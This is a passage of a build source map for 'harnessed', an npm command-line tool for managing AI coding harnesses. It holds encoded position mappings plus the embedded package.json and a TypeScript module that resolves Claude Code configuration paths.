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","file":"cli.mjs","sourcesContent":["{\n  \"name\": \"harnessed\",\n  \"version\": \"4.14.2\",\n  \"description\": \"AI coding harness package manager + composition orchestrator\",\n  \"type\": \"module\",\n  \"license\": \"Apache-2.0\",\n  \"author\": \"easyinplay\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/easyinplay/harnessed.git\"\n  },\n  \"homepage\": \"https://github.com/easyinplay/harnessed#readme\",\n  \"bugs\": \"https://github.com/easyinplay/harnessed/issues\",\n  \"keywords\": [\n    \"claude-code\",\n    \"ai-harness\",\n    \"package-manager\",\n    \"composition\",\n    \"skill-pack\",\n    \"mcp\",\n    \"orchestrator\"\n  ],\n  \"engines\": {\n    \"node\": \">=22.0.0\"\n  },\n  \"packageManager\": \"pnpm@10.12.0\",\n  \"bin\": {\n    \"harnessed\": \"./dist/cli.mjs\",\n    \"harnessed-inject-state\": \"./bin/harnessed-inject-state.mjs\"\n  },\n  \"main\": \"./dist/index.mjs\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": {\n      \"types\": \"./dist/index.d.ts\",\n      \"import\": \"./dist/index.mjs\",\n      \"default\": \"./dist/index.mjs\"\n    },\n    \"./schemas\": {\n      \"types\": \"./dist/schemas/index.d.ts\",\n      \"import\": \"./dist/schemas/index.mjs\"\n    },\n    \"./package.json\": \"./package.json\"\n  },\n  \"files\": [\n    \"dist\",\n    \"bin\",\n    \"manifests\",\n    \"messages\",\n    \"workflows\",\n    \"routing\",\n    \"config-templates\",\n    \"schemas\",\n    \"README.md\",\n    \"LICENSE\",\n    \"NOTICE\",\n    \"THIRD-PARTY-NOTICES.md\"\n  ],\n  \"scripts\": {\n    \"dev\": \"tsup --watch\",\n    \"build\": \"tsc --noEmit && tsup\",\n    \"build:schema\": \"node ./scripts/build-schema.mjs\",\n    \"validate:schema\": \"node ./scripts/validate-schema.mjs\",\n    \"typecheck\": \"tsc --noEmit\",\n    \"test\": \"vitest run --passWithNoTests\",\n    \"test:watch\": \"vitest\",\n    \"test:coverage\": \"vitest run --coverage --passWithNoTests\",\n    \"bench\": \"vitest bench --run\",\n    \"lint\": \"biome check .\",\n    \"lint:fix\": \"biome check --write .\",\n    \"format\": \"biome format --write .\"\n  },\n  \"dependencies\": {\n    \"@anthropic-ai/claude-agent-sdk\": \"0.3.142\",\n    \"@clack/prompts\": \"^0.10.1\",\n    \"@sinclair/typebox\": \"^0.34.49\",\n    \"ajv\": \"^8.20.0\",\n    \"ajv-errors\": \"^3.0.0\",\n    \"ajv-formats\": \"^3.0.1\",\n    \"commander\": \"^13.0.0\",\n    \"diff\": \"^9.0.0\",\n    \"expr-eval\": \"^2.0.2\",\n    \"picocolors\": \"^1.1.1\",\n    \"proper-lockfile\": \"^4.1.2\",\n    \"yaml\": \"^2.9.0\"\n  },\n  \"devDependencies\": {\n    \"@biomejs/biome\": \"^2.0.0\",\n    \"@types/node\": \"^22.10.0\",\n    \"@types/proper-lockfile\": \"^4.1.4\",\n    \"@vitest/coverage-v8\": \"^4.0.0\",\n    \"tsup\": \"^8.3.0\",\n    \"typescript\": \"^5.6.0\",\n    \"vitest\": \"^4.0.0\"\n  },\n  \"pnpm\": {\n    \"onlyBuiltDependencies\": [\n      \"esbuild\"\n    ]\n  }\n}\n","// v9.0 Cross-Harness — Phase A: the PlatformDescriptor seam.\n//\n// Refactor-first foundation (Beck: make-the-change-easy). This introduces a\n// single descriptor type + a detect function so that, in later phases, the\n// harness can target a second AI-coding harness (the `.agents/` platform) by\n// returning a different descriptor — WITHOUT touching the call sites. Phase A\n// adds ZERO behavior change: only the `claude` descriptor is populated, and\n// only `stateRoot` is consumed (by getHarnessedRoot). The descriptor output is\n// byte-identical to today's hardcoded `~/.claude/harnessed` path.\n//\n// Phase B (27) ADDS here:\n//   - Optional `home` base on claudeDescriptor/detectPlatform (additive, default\n//     homedir()) so test/override homedirs thread through WITHOUT re-hardcoding\n//     `.claude`. No-arg callers (Phase A) stay byte-identical.\n//   - 5 config-dir resolvers (getSettingsPath/getSkillsDir/getCommandsDir/\n//     getPluginsRegistry/getMcpConfigPath) = thin `detectPlatform(home).<field>`\n//     accessors that centralize the ~7 scattered `~/.claude/`-config call sites.\n//\n// Out of scope for Phase A/B (do NOT add here):\n//   - Auto-probe detection, the `.agents/` descriptor, HARNESSED_PLATFORM,\n//     `.platform` pin, `setup --platform` → Phase C (28). Anti-stale: do not\n//     build detection branches before the second platform exists.\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\n/**\n * Describes where a given AI-coding harness keeps its state + config surfaces.\n *\n * Phase A defines all 8 fields but only populates the `claude` descriptor and\n * only consumes `stateRoot`. The settings/skills/commands/plugins/mcp fields are\n * consumed starting in Phase B; the non-`claude` `id` values are produced\n * starting in Phase C.\n *\n * Note `mcpConfigPath` is a homedir SIBLING (`~/.claude.json`), not a child of\n * `homeDir` — Claude Code stores its MCP config next to the `.claude` dir, not\n * inside it (the §7 D-A irregular field).\n */\nexport interface PlatformDescriptor {\n  id: 'claude' | 'codex' | 'agents' | 'cursor' | 'gemini' | 'copilot'\n  homeDir: string\n  stateRoot: string\n  settingsPath: string\n  skillsDir: string\n  commandsDir: string\n  /**\n   * Phase C / D1: `string | null`. A harness without a filesystem plugin\n   * registry (e.g. codex uses inline `[marketplaces.*]` in config.toml, not a\n   * `installed_plugins.json`) sets this to `null`. Consumers treat null as\n   * \"no registry → no plugins\" (capabilityResolver, readClaudeConfig).\n   */\n  pluginsRegistry: string | null\n  mcpConfigPath: string\n  /**\n   * Phase C / D1: gates the 2 env-key settings writers\n   * (enableAgentTeamsInSettings / enableUserLangInSettings). `true` for claude\n   * (JSON `settings.json` env merge). `false` for codex — its config.toml is\n   * TOML and the CC-specific env keys are meaningless, so writes are\n   * capability-absent (no-op + inform, never a TOML write).\n   */\n  supportsEnvKeyWrite: boolean\n  /**\n   * Phase 35 / Spec 3-G: the env var this harness exposes carrying the active\n   * session id, or `null` when it has none. Consumed by `activeKey` (and the\n   * inject bin) to scope the workflow ledger pointer per session. `null` →\n   * single-session fallback (bare repoKey), byte-identical to no session\n   * scoping. claude → `CLAUDE_CODE_SESSION_ID`; codex → `null` (no verified\n   * session env — anti-stale, do not invent one before it exists).\n   */\n  sessionIdEnv: string | null\n}\n\n/**\n * The Claude Code descriptor — byte-identical to the paths the harness used\n * before the seam 